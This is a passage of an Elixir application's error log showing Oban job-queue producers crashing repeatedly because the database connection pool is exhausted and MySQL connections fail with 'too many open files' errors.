    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:48:48.238235Z], limit: 20, uuid: "d3e41d88-3b6b-4509-a234-024cd47c983e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.238246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30657>, refresh_timer: #Reference<0.2525715032.1121189889.139138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:48:48.238845Z], limit: 5, uuid: "c72e5807-a08d-400d-941b-56ba0dbcc664", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.238851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30659>, refresh_timer: #Reference<0.2525715032.1099431938.33080>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:01.470000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:07.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:07.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:12.816000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:49:01.239992Z], limit: 10, uuid: "d009e323-0cad-4f9f-afdd-7c1e25a7ef14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.239998Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139414>, refresh_timer: #Reference<0.2525715032.1121189889.139352>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:49:01.242357Z], limit: 5, uuid: "b1b8f769-0fc3-41bd-8432-3e998d704833", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.242363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.33299>, refresh_timer: #Reference<0.2525715032.1099431938.33298>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:49:01.238985Z], limit: 3, uuid: "d8260722-0218-4fc1-bf66-9b118a7e7e5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.238991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30914>, refresh_timer: #Reference<0.2525715032.1121189889.139327>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:49:01.239985Z], limit: 50, uuid: "b82d23cb-347e-4811-9159-b45d922c0125", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.239991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139415>, refresh_timer: #Reference<0.2525715032.1121189889.139353>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:49:01.240453Z], limit: 20, uuid: "cc1f4619-074c-4ad7-a3bb-f7c9250a7e49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.240458Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139416>, refresh_timer: #Reference<0.2525715032.1068498948.30904>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:49:01.240362Z], limit: 5, uuid: "2dfafa2a-ff29-44f6-bd05-f827b12d9a7b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:01.240368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.33300>, refresh_timer: #Reference<0.2525715032.1099431938.33289>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:17.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:18.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:18.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:19.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:21.810000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:22.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:22.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:24.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
